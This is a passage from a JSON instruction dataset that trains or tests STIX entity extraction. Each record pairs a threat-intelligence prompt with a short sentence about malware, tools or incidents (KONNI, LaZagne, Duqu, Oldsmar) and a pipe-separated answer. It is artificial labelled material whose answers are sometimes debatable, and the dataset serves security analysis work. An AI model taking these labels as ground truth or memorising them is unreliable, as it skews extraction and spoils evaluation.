    "input": "### Text Passage:\nRamsay can insert itself into the address space of other applications using the AppInit DLL Registry key.\n",
    "output": "<entities>Ramsay|AppInit</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nFakeSpy is Android spyware that has been operated by the Chinese threat actor behind the Roaming Mantis campaigns.\n",
    "output": "<entities>FakeSpy|Roaming Mantis|Android|Chinese</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nPisloader has commands to list drives on the victim machine and to list file information for a given directory.\n",
    "output": "<entities>Pisloader</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nSpark can use cmd.exe to run commands.\n",
    "output": "<entities>cmd.exe|Spark</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nRuler can be used to automate the abuse of Outlook Home Pages to establish persistence.\n",
    "output": "<entities>Outlook|Ruler</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nhcdLoader installs itself as a service for persistence.\n",
    "output": "<entities>hcdLoader</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nSeth-Locker can execute commands via the command line shell.\n",
    "output": "<entities>Seth-Locker</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nKONNI has used certutil to download and decode base64 encoded strings.\n",
    "output": "<entities>KONNI|certutil</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nAction RAT is a  remote access tool written in Delphi that has been used by SideCopy since at least December 2021 against Indian and Afghani government personnel.\n",
    "output": "<entities>Action RAT|Delphi|SideCopy|Indian|Afghani</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nRotexy is an Android banking malware that has evolved over several years. It was originally an SMS spyware Trojan first spotted in October 2014, and since then has evolved to contain more features, including ransomware functionality.\n",
    "output": "<entities>Rotexy|Android</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nRemoteUtilities can upload and download files to and from a target machine.\n",
    "output": "<entities>RemoteUtilities</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nThe COVID-19 pandemic and consequent lockdowns has\u00a0also interrupted global supply chains, highlighting\u00a0global\u00a0interdependencies and pushing\u00a0states to enhance home-grown industries. For example, the Monetary Authority of Singapore (MAS)\u00a0recently imposed measures\u00a0which require all financial institutions to assess supplier third-party technology vendors, ranging from\u00a0an evaluation of\u00a0security measures to assuring safe programming practices. In addition, the US Department of Commerce issued an interim final ruling\u00a0on the Information and Communications Technology and Services (ICTS) supply chain\u00a0designed to prohibit certain ICTS Transactions from listed foreign adversaries\u00a0including China, Russia, Iran, North Korea, Cuba,\u00a0and Venezuela.\n",
    "output": "<entities>Monetary Authority of Singapore|US Department of Commerce|China|Russia|Iran|North Korea|Cuba|Venezuela</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nDerusbi is capable of capturing video.\n",
    "output": "<entities>Derusbi</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nZen is Android malware that was first seen in 2013.\n",
    "output": "<entities>Zen|Android</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nOldsmar Treatment Plant Intrusion was a cyber incident involving a water treatment facility in Florida. During this incident, unidentified threat actors leveraged features of the system to access and modify setpoints for a specific chemical required in the treatment process. The incident was detected immediately and prevented before it could cause any harm to the public.\n",
    "output": "<entities>Oldsmar Treatment Plant Intrusion|Florida</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nFakecalls is an Android trojan, first detected in January 2021, that masquerades as South Korean banking apps. It has capabilities to intercept calls to banking institutions and even maintain realistic dialogues with the victim using pre-recorded audio snippets.\n",
    "output": "<entities>Fakecalls|Android|South Korean</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nDuqu can be configured to have commands relayed over a peer-to-peer network of infected hosts if some of the hosts do not have Internet access.\n",
    "output": "<entities>Duqu</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nLaZagne can obtain credentials from macOS Keychains.\n",
    "output": "<entities>LaZagne|macOS</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
